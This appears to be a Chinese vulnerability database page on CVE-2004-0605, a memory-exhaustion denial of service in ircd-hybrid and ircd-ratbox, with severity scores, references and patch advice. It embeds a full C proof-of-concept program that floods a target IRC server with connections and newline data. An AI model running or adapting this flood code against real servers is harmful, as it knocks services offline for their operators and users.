CVE-2004-0605
CVSS5.0
发布时间 :2004-12-06 00:00:00
修订时间 :2016-10-17 22:46:36
NMCOES    

[原文]Non-registered IRC users using (1) ircd-hybrid 7.0.1 and earlier, (2) ircd-ratbox 1.5.1 and earlier, or (3) ircd-ratbox 2.0rc6 and earlier do not have a rate-limit imposed, which could allow remote attackers to cause a denial of service by repeatedly making requests, which are slowly dequeued.


[CNNVD]多个ircd套接口出列远程拒绝服务漏洞(CNNVD-200412-042)

        
        hybrid 7和ircd-ratbox是在线即时聊天服务程序。
        hybrid 7和ircd-ratbox不正确处理速率限制机制,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。
        Ircd中的速率限制机制使用的缓冲区分配出列上存在问题,攻击者可以利用较小的速率而消耗系统大量内存,造成拒绝服务攻击。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-16 [配置]

- CPE (受影响的平台与产品)

cpe:/a:ircd-ratbox:ircd-ratbox:2.0_rc6
cpe:/a:ircd-ratbox:ircd-ratbox:1.5.1
cpe:/a:ircd-hybrid:ircd-hybrid:7.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0605
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0605
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-042
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=108766803817406&w=2
(UNKNOWN)  BUGTRAQ  20040618 ircd-hybrid-7 / ircd-ratbox low-bandwidth DoS
http://www.securityfocus.com/bid/10572
(VENDOR_ADVISORY)  BID  10572
http://xforce.iss.net/xforce/xfdb/16457
(VENDOR_ADVISORY)  XF  ircd-parseclientqueued-dos(16457)

- 漏洞信息

多个ircd套接口出列远程拒绝服务漏洞
中危 其他
2004-12-06 00:00:00 2007-05-22 00:00:00
远程  
        
        hybrid 7和ircd-ratbox是在线即时聊天服务程序。
        hybrid 7和ircd-ratbox不正确处理速率限制机制,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。
        Ircd中的速率限制机制使用的缓冲区分配出列上存在问题,攻击者可以利用较小的速率而消耗系统大量内存,造成拒绝服务攻击。
        

- 公告与补丁

        厂商补丁:
        IRCD-Hybrid
        -----------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        IRCD-Hybrid Patch unreg_limit.diff
        
        http://www.ircd-hybrid.org/diff/unreg_limit.diff

        ircd-ratbox
        -----------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        ircd-ratbox Upgrade ircd-ratbox 1.5.2
        
        http://www.ircd-ratbox.org/download.shtml

- 漏洞信息 (24222)

ircd-hybrid 7.0.1,ircd-ratbox 1.5.1/2.0 Socket Dequeuing Denial of Service Vulnerability (EDBID:24222)
linux dos
2004-06-19 Verified
0 Erik Sperling Johansen
N/A [点击下载]
source: http://www.securityfocus.com/bid/10572/info

A denial of service vulnerability exists in multiple ircd implementations. This exists because of an issue with the deallocation of buffers used by rate limiting mecahnisms in the ircd. This could result in exhaustion of memory resources on the system running the ircd.

This issue was reported to exist in ircd-hybrid version 7.0.1 and earlier, ircd-ratbox 1.5.1 and earlier, and ircd-ratbox 2.0rc6 and earlier.

// Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
//
// ./kiddie-proofed - you'll need to correct a bug
//
// Tested on linux, should work with minor tweaks on other platforms
//
// -- Erik Sperling Johansen <einride@einride.org>

#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <time.h>

int done = 0;


void siginthandler(int x) {
  fprintf(stdout, "Exiting\n");
  done = 1;
}
void usage(const char * b) {
  fprintf(stderr, "%s ip port connectioncount\n", b);
  exit(1);
}

int makeconn(struct sockaddr_in * sin) {
  int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (s < 0) {
    perror("socket");
    return -1;
  }
  int n=1;
  if (ioctl(s, FIONBIO, &n, sizeof(n))) {
    perror("ioctl");
    close(s);
    return -1;
  }
  errno = 0;
  if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
    && (errno != EINPROGRESS)) {
    perror("connect");
    close(s);
    return -1;
  }
  return s;
};

int main(int argc, const char ** argv, const char ** envp) {
  fd_set wfd, rfd;
  FD_ZERO(&wfd);
  FD_ZERO(&rfd);
  if (argc != 4)
    usage(argv[0]);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  if (sin.sin_addr.s_addr == INADDR_NONE)
    usage(argv[0]);
  sin.sin_port = htons(atoi(argv[2]));
  sin.sin_family = AF_INET;
  int conncount = atoi(argv[3]);
  if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
    usage(argv[0]);
  int * sockets = (int *) malloc(conncount * sizeof(int));
  int i, highsock = 0;
  char buf[65536];
  char dummy[65536];
  for (i=0; i<sizeof(buf)-1; i+=2) {
    buf[i] = ' ';
    buf[i+1] = '\n';
  }
  for (i = 0; i<conncount; ++i)
    sockets[i] = -1;
  highsock = -1;
  int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
  time_t Started = time(0), LastRep = time(0);
  signal(SIGPIPE, SIG_IGN);
  signal(SIGINT, siginthandler);
  while (!done) {
    fd_set w, r;
    if (highsock == -1) {
      for (i=0;i<conncount;++i) {
        if (sockets[i] < 0) {
          sockets[i] = makeconn(&sin);
          if (sockets[i] >= 0) {
            ++CountConnects;
            FD_SET(sockets[i], &wfd);
            FD_SET(sockets[i], &rfd);
          }
          if (highsock < sockets[i])
            highsock = sockets[i];
        }
      }
    }
    memcpy(&w, &wfd, sizeof(w));
    memcpy(&r, &rfd, sizeof(r));
    struct timeval tv = { 1, 0 };
    int c = select(highsock+1, &r, &w, 0, &tv);
    for (i = 0; (i<conncount) && (c > 0); ++i) {
      if (sockets[i] >= 0) {
        if (FD_ISSET(sockets[i], &w)) {
          int bytes = send(sockets[i], buf, sizeof(buf), 0);
          if (bytes > 0) {
            CountBytes += bytes;
            CurCountBytes += bytes;
          } else {
#ifndef NONOISE
            perror("send");
#endif
            FD_CLR(sockets[i], &wfd);
            FD_CLR(sockets[i], &rfd);
            close(sockets[i]);
#ifndef NONOISE
            fprintf(stdout, "(send) Lost conn on socket %i, 
reconnecting\n",
sockets[i]);
#endif
            sockets[i] = -1;
            highsock = -1;
          }
        }
      }
      if (sockets[i] >= 0) {
        if (FD_ISSET(sockets[i], &r)) {
          errno = 0;
          if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
#ifndef NONOISE
            perror("recv");
#endif
            FD_CLR(sockets[i], &wfd);
            FD_CLR(sockets[i], &rfd);
            close(sockets[i]);
#ifndef NONOISE
            fprintf(stdout, "(recv) Lost conn on socket %i, 
reconnecting\n",
            sockets[i]);
#endif
            sockets[i] = -1;
            highsock = -1;
          }
        }
      }
    }

    if (time(0) - LastRep > 5) {
      fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last
period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
(time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
      LastRep = time(0);
      CurCountBytes = 0;
    }
  }
  fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
CountConnects, CountBytes, CountBytes / (time(0) - Started));

  return 0;
}
		

- 漏洞信息

7242
Multiple IRC Client Non-registered User parse_client_queued Saturation DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public

- 漏洞描述

IRCD-Hybrid and ircd-ratbox contain a flaw that may allow a remote denial of service. The issue is due to no rate limit imposed in the "parse_client_queued" function when an unidentified client sends lines. By establishing an unregistered connection and sending multiple newlines, a remote attacker can exhaust large amounts of memory resources and will result in loss of availability for the platform.

- 时间线

2004-06-18 Unknow
2004-06-20 Unknow

- 解决方案

Upgrade to ircd-ratbox versions 1.5.2 and 2.0rc7 or IRCD-Hybrid 7.0.2 or higher, as they have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Multiple ircd Socket Dequeuing Denial of Service Vulnerability
Failure to Handle Exceptional Conditions 10572
Yes No
2004-06-19 12:00:00 2009-07-12 05:16:00
Discovery is credited to Erik Sperling Johansen <einride@einride.org>.

- 受影响的程序版本

ircd-ratbox ircd-ratbox 2.0 rc6
ircd-ratbox ircd-ratbox 1.5.1
IRCD-Hybrid ircd-hybrid 7.0.1
ircd-ratbox ircd-ratbox 2.0 rc7
ircd-ratbox ircd-ratbox 1.5.2
IRCD-Hybrid ircd-hybrid 7.1 devel
IRCD-Hybrid ircd-hybrid 6.0

- 不受影响的程序版本

ircd-ratbox ircd-ratbox 2.0 rc7
ircd-ratbox ircd-ratbox 1.5.2
IRCD-Hybrid ircd-hybrid 7.1 devel
IRCD-Hybrid ircd-hybrid 6.0

- 漏洞讨论

A denial of service vulnerability exists in multiple ircd implementations. This exists because of an issue with the deallocation of buffers used by rate limiting mecahnisms in the ircd. This could result in exhaustion of memory resources on the system running the ircd.

This issue was reported to exist in ircd-hybrid version 7.0.1 and earlier, ircd-ratbox 1.5.1 and earlier, and ircd-ratbox 2.0rc6 and earlier.

- 漏洞利用

The following exploit was provided:

- 解决方案

Fixes are available:


ircd-ratbox ircd-ratbox 1.5.1

IRCD-Hybrid ircd-hybrid 7.0.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站